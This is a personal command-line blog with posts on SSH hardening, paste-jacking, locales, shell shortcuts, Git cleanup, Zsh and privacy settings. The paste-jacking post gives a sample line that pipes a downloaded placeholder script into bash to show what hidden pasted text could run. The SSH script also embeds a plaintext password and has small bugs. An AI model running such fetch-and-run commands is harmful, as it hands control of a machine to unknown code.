c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Mon, 02 Jan 2017

Securing a new server

Happy new year! New year means new servers, right?

That provides its own set of interesting circumstances!

The server we’re investigating in this scenario was chosen for being a dedicated box in a country that has quite tight privacy laws. And it was a great deal offered on LEB.

So herein is the fascinating bit. The rig took a few days for the provider to set up and, upon completion, the password for SSHing into the root account was emailed out. (o_0)

In very security-minded considerations, that means that there was a window of opportunity for bad guys to work on guessing the password before its owner even tuned in. That window remains open until the server is better secured. Luckily, there was a nice interface for reinstalling the OS permitting its purchaser to select a password.

My preferred approach was to script the basic lock-down so that we can reinstall the base OS and immediately start closing gaps.


In order:

  • Set up SSH keys (scripted)
  • Disable password usage for root (scripted)
  • Install and configure IPset (scripted. details in next post)
  • Install and configure fail2ban
  • Install and configure PortSentry

  • In this post, we’re focused on the first two steps.


    The tasks to be handled are:

  • Generate keys
  • Configure local SSH to use key
  • Transmit key to target server
  • Disable usage of password for ‘root’ account

  • We’ll use ssh-keygen to generate a key — and stick with RSA for ease. If you’d prefer ECC then you’re probably reading the wrong blog but feel encouraged to contact me privately.

    The code:

    #!/bin/bash
    #configure variables
    remote_host="myserver.com"
    remote_user="j0rg3"
    remote_pass="thisisaratheraquitecomplicatedpasswordbatterystaple" # https://xkcd.com/936/
    local_user=`whoami`
    local_host=`hostname`
    local_date=`date -I`
    local_filename=~/.ssh/id_rsa@$remote_host

    #generate key without passphrase
    ssh-keygen -b 4096 -P "" -C $local_user@local_host-$local_date -f $local_filename

    #add reference to generated key to local configuration
    printf '%s\n' "Host $remote_host" "IdentityFile $local_filename" >> ~/.ssh/config

    #copy key to remote host
    sshpass -p $remote_pass ssh-copy-id $remote_user@$remote_host

    #disable password for root on remote
    ssh $remote_user@$remote_host "cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak && sed -i '0,/RE/s/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config"

    We just run this script soon as the OS is reinstalled and we’re substantially safer. As a Deb8 install, quickly pulling down fail2ban and PortSentry makes things quite a lot tighter.

    In another post, we’ll visit the 2017 version of making a DIY script to batten the hatches using a variety of publicly provided blocklists.

    Download here:
        ssh_quick_fix.sh


    Tags: , , , ,
    Permalink: 20170102.securing.a.new.server

    Thu, 04 Jul 2013

    Preventing paste-jacking with fc

    Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

    Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
    ls
    -l

    Paste below to see what lurks in the <span> that you’re not seeing:

    If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
    clear

    Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

    In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

    So what’s the cure?

    Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

    To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

    This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

    Read more at ush.it and h-online.com.


    Tags: , , ,
    Permalink: 20130704.prevent.paste-jacking.with.fc

    Wed, 26 Jun 2013

    Terminal suddenly Chinese

    The other day, I was updating one of my systems and I noticed that it had decided to communicate with me in Chinese. Since I don’t know a lick of Chinese, it made for a clumsy exchange.

    It was Linux Mint (an Ubuntu variant), so a snip of the output from an ‘apt-get upgrade’ looked like this: terminal screen with Chinese characters

    I’m pretty sure I caused it — but there’s no telling what I was working on and how it slipped past me. Anyway, it’s not a difficult problem to fix but I imagine it could look like big trouble.

    So, here’s what I did:
    > locale

    The important part of the output was this:
    LANG=en_US.UTF-8
    LANGUAGE=zh_CN.UTF-8

    If you want to set your system to use a specific editor, you can set $EDITOR=vi and then you’re going to learn that some programs expect the configuration to be set in $VISUAL and you’ll need to change it there too.

    In a similar way, many things were using the en_US.UTF-8 set in LANG, but other things were looking to LANGUAGE and determining that I wanted Chinese.

    Having identified the problem, the fix was simple. Firstly, I just changed it in my local environment:
    > LANGUAGE=en_US.UTF-8

    That solved the immediate problem but, sooner or later, I’m going to reboot the machine and the Chinese setting would have come back. I needed to record the change somewhere for the system to know about it in the future.

    > vim /etc/default/locale

    Therein was the more permanent record, so I changed LANGUAGE there also, giving the result:

    LANG=en_US.UTF-8
    LANGUAGE=en_US.UTF-8
    LC_CTYPE=en_US.UTF-8
    LC_NUMERIC=en_US.UTF-8
    LC_TIME=en_US.UTF-8
    LC_COLLATE=”en_US.UTF-8”
    LC_MONETARY=en_US.UTF-8
    LC_MESSAGES=”en_US.UTF-8”
    LC_PAPER=en_US.UTF-8
    LC_NAME=en_US.UTF-8
    LC_ADDRESS=en_US.UTF-8
    LC_TELEPHONE=en_US.UTF-8
    LC_MEASUREMENT=en_US.UTF-8
    LC_IDENTIFICATION=en_US.UTF-8
    LC_ALL=

    And now, the computer is back to using characters that I (more-or-less) understand.


    Tags: , , , , ,
    Permalink: 20130626.terminal.suddenly.chinese

    Thu, 06 Jun 2013

    Managing to use man pages through simple CLI tips

    Recently, an author I admire and time-honored spinner of the Interwebs, Tony Lawrence emphasized the value of using man pagesmanual pagesDocumentation available from the command line.
    > man ls
    as a sanity check before getting carried away with powerful commands. I didn’t know about this one but he has written about a situation in which killall could produce some shocking, and potentially quite unpleasant, results.

    Personally, I often quickly check man pages to be certain that I am using the correct flags or, as in the above case, anticipating results that bear some resemblance to what is actually likely to happen. Yet, it seems many people flock toward SERPSearch Engine Results Page A tasteful replacement for mentioning any particular search-engine by name.
    Also useful as a verb:
    I dunno. You’ll have to SERP it.
    s for this information.

    Perhaps the most compelling reason to head for the web is leaving the cursor amid the line you’re working on, without disturbing the command. SERPing the command however, could easily lead you to information about a variant that is more common than the one available to you. More importantly, the information retrieved from the search engine is almost certainly written by someone who did read the man page — and may even come with the admonishment that you RTFMRead The F#!$!*#’n Manual as a testament to the importance of developing this habit.

    This can be made easier with just a few CLI shortcuts.

    <CTRL+u> to cut what you have typed so far and <CTRL+y> to paste it back.

    That is, you press <CTRL+u> and the line will be cleared, so you can then type man {command} and read the documentation. Don’t hesitate to jot quick notes of which flags you intend to use, if needed. Then exit the man page, press <CTRL+y> and finish typing right where you left off.

    This is another good use for screen or tmux but let’s face it. There are times when you don’t want the overhead of opening another window for a quick look-up and even instances when these tools aren’t available.

    A few other tips to make life easier when building complex commands:

    Use the command fc to open up an editor in which you can build your complex command and, optionally, even save it as a shell script for future reuse.

    Repeat the last word from the previous command (often a filename) with <ALT+.> or use an item from the last command by position, in reverse order:
    > ls -lahtr *archive*
    <ALT+1+.> : *archive*
    <ALT+2+.> : -lahtr
    <ALT+3+.> : ls

    You can also use Word Designators to use items from history, such as adding sudo to the last command typed by:
    sudo !!

    This allows for tricks like replacing bits of a previous command:
    !:s/misspelled/corrected/

    Lastly, if you need a command that was typed earlier, you can search history by pressing <CTRL+r> and start typing an identifying portion of the command.

    (Note: I have used these in Zsh and Bash, specifically. They can, however, be missing or overwritten — if a feature you want isn’t working, you can bind keys in a configuration file. Don’t just write it off, once you’ve solved the problem it will never again be an intimidating one.)

    Happy hacking!


    Tags: , , , , , , , ,
    Permalink: 20130606.managing.to.use.man.pages

    Tue, 04 Jun 2013

    Painless protection with Yubico’s Yubikey

    Recently, I ordered a Yubikey and, in the comments section of the order, I promised to write about the product. At the time, I assumed that there was going to be something about which to write: (at least a few) steps of setting up and configuration or a registration process. They’ve made the task of writing about it difficult, by making the process of using it so easy.

    Plug it in. The light turns solid green and you push the button when you need to enter the key. That’s the whole thing!

    Physically, the device has a hole for a keychain or it can slip easily into your wallet. It draws power from the USB port on the computer, so there’s none stored in the device, meaning it should be completely unfazed if you accidentally get it wet.

    Let’s take a look at the device.

    > lsusb | grep Yubico

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey

    We see that it is on Bus 5, Device 4. How about a closer look?

    > lsusb -v -s5:4

    Bus 005 Device 004: ID 1050:0010 Yubico.com Yubikey
    Couldn't open device, some information will be missing
    Device Descriptor:
      bLength                18
      bDescriptorType         1
      bcdUSB               2.00
      bDeviceClass            0 (Defined at Interface level)
      bDeviceSubClass         0 
      bDeviceProtocol         0 
      bMaxPacketSize0         8
      idVendor           0x1050 Yubico.com
      idProduct          0x0010 Yubikey
      bcdDevice            2.41
      iManufacturer           1 
      iProduct                2 
      iSerial                 0 
      bNumConfigurations      1
      Configuration Descriptor:
        bLength                 9
        bDescriptorType         2
        wTotalLength           34
        bNumInterfaces          1
        bConfigurationValue     1
        iConfiguration          0 
        bmAttributes         0x80
          (Bus Powered)
        MaxPower               30mA
        Interface Descriptor:
          bLength                 9
          bDescriptorType         4
          bInterfaceNumber        0
          bAlternateSetting       0
          bNumEndpoints           1
          bInterfaceClass         3 Human Interface Device
          bInterfaceSubClass      1 Boot Interface Subclass
          bInterfaceProtocol      1 Keyboard
          iInterface              0 
            HID Device Descriptor:
              bLength                 9
              bDescriptorType        33
              bcdHID               1.11
              bCountryCode            0 Not supported
              bNumDescriptors         1
              bDescriptorType        34 Report
              wDescriptorLength      71
             Report Descriptors: 
               ** UNAVAILABLE **
          Endpoint Descriptor:
            bLength                 7
            bDescriptorType         5
            bEndpointAddress     0x81  EP 1 IN
            bmAttributes            3
              Transfer Type            Interrupt
              Synch Type               None
              Usage Type               Data
            wMaxPacketSize     0x0008  1x 8 bytes
            bInterval              10
    

    There’s not a great deal to be seen here. As it tells you right on Yubico’s site, the device presents as a keyboard and it “types” out its key when you press the button, adding another long and complex password to combine with the long and complex password that you’re already using.

    Keep in mind that this device is unable to protect you from keyloggers, some of which are hardware-based. It’s critically important that you are very, very careful about where you’re sticking your Yubikey. Even Yubico cannot protect us from ourselves.


    Tags: , , , ,
    Permalink: 20130604.yay.yubico.yubikey

    Thu, 30 May 2013

    Making ixquick your default search engine

    In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

    Here’s how to configure your browser to automatically use a search engine that respects your privacy.

    Chrome:

    1. Click Settings.
    2. Click “Set pages” in the “On startup” section.
    3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
    4. Click OK.
    5. Click “Manage search engines…”
    6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
    7. Enter
      ixquick
      ixquick.com
      https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
    8. Click “Make Default”.
    9. Click “Done”.

    Firefox:

    1. Click the Tools Menu.
    2. Click Options.
    3. Click the General tab.
    4. In “When Firefox Starts” dropdown, select “Show my home page”.
    5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
    6. Click one of the English options here.
    7. Check box for “Start using it right away.”
    8. Click “Add”.

    Opera:

    1. Click “Manage Search Engines
    2. Click “Add”
    3. Enter
      Name: ixquick
      Keyword: x
      Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
    4. Check “Use as default search engine”
    5. Click “OK”

    Internet Explorer:

        _     ___  _ __        ___   _ _____ ___ 
       | |   / _ \| |\ \      / / | | |_   _|__ \
       | |  | | | | | \ \ /\ / /| | | | | |   / /
       | |__| |_| | |__\ V  V / | |_| | | |  |_| 
       |_____\___/|_____\_/\_/   \___/  |_|  (_) 
      
      
      (This is not a good strategy for privacy.)

    Congratulations!

    \o/

    You are now one step closer to not having every motion on the Internet recorded.

    This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

    If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR


    Tags: , , , , , , , , , , , , , ,
    Permalink: 20130530.hey.you.get.offa.my.data

    Wed, 15 May 2013

    Git: an untracked mess?

    There may be times when you find your Git repository burdened with scads of untracked files left aside while twiddling, testing bug patches, or what-have-youse.

    For the especially scatter-brained among us, these things can go unchecked until a day when the useful bits of a git status scroll off the screen due to utterly unimportant stuff. Well, hopefully unimportant.

    But we’d better not just cleave away everything that we haven’t checked in. You wonder:
    What if there’s something important in one of those files?

    You are so right!

    Let’s fix this!

    Firstly, we want a solution that’s reproducible. Only want to invent this wheel once, right?

    Let’s begin with the play-by-play:

    Git, we want a list of what isn’t tracked: git ls-files -o --exclude-standard -z

    We’ll back these files up in our home directory (~), using CPIO but we don’t want a poorly-named directory or finding anything will become its own obstacle. So we’ll take use the current date (date +%Y-%m-%d), directory (pwd) and branch we’re using (git branch) and we’ll twist all of it into a meaningful, but appropriate, directory name using sed. git ls-files -o --exclude-standard -z | cpio -pmdu ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/

    Then Tell Git to remove the untracked files and directories: git clean -d -f

    Ahhhh… Much better. Is there anything left out? Perhaps. What if we decide that moving these files away was a mistake? The kind of mistake that breaks something. If we realize right away, it’s easily-enough undone. But what if we break something and don’t notice for a week or two? It’d probably be best if we had an automated script to put things back the way they were. Let’s do that.

    Simple enough. We’ll just take the opposite commands and echo them into a script to be used in case of emergency.

    Create the restore script (restore.sh), to excuse faulty memory: echo "(cd ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/; find . -type f \( ! -iname 'restore.sh' \) | cpio -pdm `pwd`)" > ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/restore.sh

    Make the restore script executable: chmod u+x ~/untracked-git-backup-`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`/restore.sh

    Lastly, the magic, compressed into one line that will stop if any command does not report success: a='untracked-git-backup-'`date +%Y-%m-%d`.`pwd | sed 's,^\(.*/\)\?\([^/]*\),\2,'`.`git branch | grep "*" | sed "s/* //"`; git ls-files -o --exclude-standard -z | cpio -pmdu ~/$a/ && git clean -d -f && echo "(cd ~/$a/; find . -type f \( ! -iname 'restore.sh' \) | cpio -pdm `pwd`)" > ~/$a/restore.sh && chmod +x ~/$a/restore.sh; unset a


    Tags: , , , ,
    Permalink: 20130515.git.untracked.mess

    Mon, 13 May 2013

    Zsh and hash

    Documentation for this one seems a bit hard to come by but it is one of the things I love about Zsh.

    I’ve seen many .bashrc files that have things like:
    alias www='cd /var/www'
    alias music='cd /home/j0rg3/music'

    And that’s a perfectly sensible way to make life a little easier, especially if the paths are very long.

    In Zsh, however, we can use the hash command and the shortcut we get from it works fully as the path. Other words, using the version above, if we want to edit ‘index.html’ in the ‘www’ directory, we would have to issue the shortcut to get there and then edit the file, in two steps:
    > www
    > vim index.html

    The improved version in .zshrc would look like:
    hash www=/var/www
    hash -d www=/var/www

    Then, at any time, you can use tilde (~) and your shortcut in place of path.
    > vim ~www/index.html

    Even better, it integrates with Zsh’s robust completions so you can, for example, type cd ~www/ and then use the tab key to cycle through subdirectories and files.

    On this system, I’m using something like this:
    (.zshrc)
    hash posts=/home/j0rg3/weblog/posts
    hash -d posts=/home/j0rg3/weblog/posts

    Then we can make a function to create a new post, to paste into .zshrc. Since we want to be able to edit and save, without partial posts becoming visible, while we are working, we’ll use an extra .tmp extension at the end:
    post() { vim ~posts/`date +%Y-%m`/`date +%Y%m%d`.$1.txt.tmp }

    [ In-line date command unfamiliar? See earlier explanation ]

    But, surely there is going to be a point when we need to save a post and finish it later. For now, let’s assume that only a single post will be in limbo at any time. We definitely don’t want to have to remember the exact name of the post — and we don’t want to have hunt it down every time.

    We can make those things easier like this:
    alias resume="vim `find ~posts/ -name '*.txt.tmp'`"

    Now, we can just enter resume and the system will go find the post we were working on and open it up for us to finish. The file will need the extension renamed from .txt.tmp to only .txt to publish the post but, for the sake of brevity, we’ll think about that (and having multiple posts in editing) on another day.


    Tags: , , , ,
    Permalink: 20130513.zsh.and.hash

    Wed, 08 May 2013

    Deleting backup files left behind by Vim

    It’s generally a great idea to have Vim keep backups. Once in awhile, they can really save your bacon.

    The other side of that coin, though, is that they can get left behind here and there, eventually causing aggravation.

    Here’s a snippet to find and eliminate those files from the current directory down:

    find ./ -name '*~' -exec rm '{}' \; -print -or -name ".*~" -exec rm {} \; -print
    This uses find from the current directory down (./) to execute an rm statement on all files with an extension ending in tilde (~)
    Alternatively, you could just store your backups elsewhere. In Vim, use :help backupdir for more information.


    Tags: , , , ,
    Permalink: 20130508.delete.vim.backups

    Tue, 07 May 2013

    Welcome, traveler.

    Thanks for visiting my little spot on the web. This is a Blosxom ‘blog which, for those who don’t know, is a CGI written in Perl using the file-system (rather than a database).

    To the CLI-addicted, this is an awesome little product. Accepting, of course, that you’re going to get under the hood if you’re going to make it the product you want. After some modules and hacking, I’m pleased with the result.

    My posts are just text files, meaning I start a new one like: vim ~posts/`date +%Y%m%d`.brief.subject.txt

    Note: the back-ticks (`) tell the system that you want to execute the command between ticks, and dynamically insert its output into the command. In this case, the command date with these parameters:
    1. (+) we’re going to specify a format
    2. (%Y) four-digit year
    3. (%m) two-digit month
    4. (%d) two-digit day
    That means the command above will use Vim to edit a text file named ‘20130507.brief.subject.txt’ in the directory I have assigned to the hash of ‘posts’. (using hash this way is a function of Zsh that I’ll cover in another post)

    In my CLI-oriented ‘blog, I can sprinkle in my own HTML or use common notation like wrapping a word in underscores to have it underlined, forward-slashes for italics and asterisks for bold.

    Toss in a line that identifies tags and, since Perl is the beast of Regex, we pick up the tags and make them links, meta-tags, etc.

    Things here are likely to change a lot at first, while I twiddle with CSS and hack away at making a Blosxom that perfectly fits my tastes — so don’t be too alarmed if you visit and things look a tad wonky. It just means that I’m tinkering.

    Once the saw-horses have been tucked away, I’m going to take the various notes I’ve made during my years in IT and write them out, in a very simple breakdown, aimed at sharing these with people who know little about how to negotiate the command line. The assumption here is that you have an interest in *nix/BSD. If you’ve that and the CLI is not a major part of your computing experience, it probably will be at some point. If you’re working on systems remotely, graphical interfaces often just impede you.

    Once you’ve started working on remote machines, the rest is inevitable. You can either remember how to do everything two ways, through a graphical interface and CLI — or just start using the CLI for everything.

    So let’s take a little journey through the kinds of things that make me love the CLI.


    Tags: , , , , , , , , ,
    Permalink: 20130507.greetings